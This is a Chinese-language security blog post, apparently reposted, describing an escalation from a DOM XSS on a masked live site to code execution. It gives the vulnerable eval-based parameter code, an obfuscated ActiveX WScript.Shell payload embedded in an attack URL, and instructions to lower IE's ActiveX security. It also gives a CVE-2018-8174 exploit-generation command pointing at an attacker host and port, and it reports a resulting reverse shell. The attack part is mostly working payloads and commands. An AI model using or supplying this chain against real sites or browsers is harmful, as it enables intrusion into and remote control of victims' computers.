记一次从DOM型XSS到RCE过程

  • A+
所属分类:安全资讯
摘要

0x00前言好久没有写文章,都2019年了,哎~.今天我们来讨论下XSS漏洞利用危害的提升,不是什么新技术,以前的前端木马就是这么干的。传统的XSS利用大多数都是抓个Cookies或者结合CSRF等进行组合拳利用。XSS漏洞因为其受到浏览器的限制,很多的功能被安全策略阻挡无法利用,当然绕过…

0x00 前言

好久没有写文章,都2019年了,哎~.
今天我们来讨论下XSS漏洞利用危害的提升,不是什么新技术,以前的前端木马就是这么干的。传统的XSS利用大多数都是抓个Cookies或者结合CSRF等进行组合拳利用。XSS漏洞因为其受到浏览器的限制,很多的功能被安全策略阻挡无法利用,当然绕过浏览器的安全策略也是有的,但是这个不在本文的讨论范围之内(因为不是很容易),有兴趣的朋友可以去找找这方面的知识看看。
本文只是以DOM型XSS为引子,其他类型XSS的利用同理。

0x01 DOM XSS漏洞挖掘

这个地方以网上的一个站点为例子。
DOM型XSS的寻找和一般的XSS寻找差不多,都是寻找输入输出,所以不是很难。
首先打开主页会调用index.js文件,然后对提交过来的参数进行接收,参数为platform,随后参数被传入eval()函数,我们跟进getParam()函数

15833a9624d93b75f02dc8aafd057985.jpeg

GetParam()函数对提交过来的url进行分割,提取参数platform的值,这个地方并没有任何的过滤,所以我们的参数值是完整的被返回过来的。这里就造成了代码执行。

// 用正则表达式获取地址栏参数
function getParam(paramName) {
    paramValue = "", isFound = !1;
    if (this.location.search.indexOf("?") == 0 && this.location.search.indexOf("=") > 1) {
        arrSource = unescape(this.location.search).substring(1, this.location.search.length).split("&"), i = 0;
        while (i < arrSource.length && !isFound) arrSource[i].indexOf("=") > 0 && arrSource[i].split("=")[0].toLowerCase() == paramName.toLowerCase() && (paramValue = arrSource[i].split("=")[1], isFound = !0), i++
    }
    return paramValue == "" && (paramValue = null), paramValue
}

0x02 漏洞调试演示

首先下断点在接收参数那个地方,输入http://xxx.xxx.xxx.xxx/?platform=alert(“xss”)这个payload ,在浏览器上打开,断点执行到此处

记一次从DOM型XSS到RCE过程

在执行完getParam()函数的时候,返回的是我们提交完整的值
b9204d4e973f41232371d0410ea1997c.jpeg

可以看到这个代码值完全被带入eval()函数并执行了。
0f2e72f0d77e2adde2a4ccb944886027.jpeg

执行效果
记一次从DOM型XSS到RCE过程

0x03 RCE执行

为了让XSS的危害提升,我们利用javascript来执行系统命令。

我们构造javascript代码,来执行系统命令。

var o = new ActiveXObject("WScript.Shell");
o.run(“calc.exe”);

为了美观,我们对代码进行加密,加密后代码如下

String.fromCharCode(10,118,97,114,32,111,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,39,87,83,99,114,105,112,116,46,115,104,101,108,108,39,41,59,10,111,46,114,117,110,40,39,99,97,108,99,46,101,120,101,39,41,59,10)

在浏览器上打开该URL链接,我们可以看到浏览器报错了,这个是因为浏览器的安全机制默认禁止使用activex控件,所以不是弹个大大的警告框就是禁止执行这种(不过如果是我们滥用被信任的activex控件时,浏览器是不会进行拦截的)。

http://xxx.xx.xxx.xxx/?platform=eval(String.fromCharCode(10,118,97,114,32,111,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,39,87,83,99,114,105,112,116,46,115,104,101,108,108,39,41,59,10,111,46,114,117,110,40,39,99,97,108,99,46,101,120,101,39,41,59,10));

b8adf16b6702a9def21aacc04d2689a6.jpeg

在IE上打开Internet Explorer “工具”菜单栏中的“选项”-“安全”-“自定义级别”-“对没有标记为安全的activex控件进行初始化和脚本运行-设置成启用,如下
4d2be06334cd5c75d3a898532f06973c.jpeg

再次打开上文的url,这次成功执行
cb3e181f28ccdc1f9fdc2971fbd0898a.jpeg

0x04 XSS组合利用

上文中提到的方法在一般情况下都不会成功,首先浏览器那一关就过不了,在执行时都会弹出一个大大的警告。所以呢,为了让XSS攻击达到高危化,我们可以引入浏览器漏洞,这里以CVE-2018-8174漏洞为例子。

EXP下载地址:https://github.com/Yt1g3r/CVE-2018-8174_EXP
然后一顿如下操作

1. python CVE-2018-8174.py -u http://1.1.1.1/exploit.html -i 2.2.2.2 -p 4444
2. 上传exploit.html到自己的服务器上面去
3. 本地服务器或其他主机进行端口监听

记一次从DOM型XSS到RCE过程

然后打开DOM XSS攻击链接,如下

记一次从DOM型XSS到RCE过程

我们在服务器上监听的端口成功得到反弹shell

记一次从DOM型XSS到RCE过程

0x05 总结

总的来说XSS通过浏览器执行系统命令是可行的,但是因为或多或少的外部因素,导致命令执行并不成功,一方面是浏览器的安全限制,另一方面是系统的安全保护机制,所以只要绕过了浏览器的安全限制(并不容易),那么通过XSS静默执行系统命令就不在话下了。

本文来源于先知社区,原文地址:https://xz.aliyun.com/t/3919

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: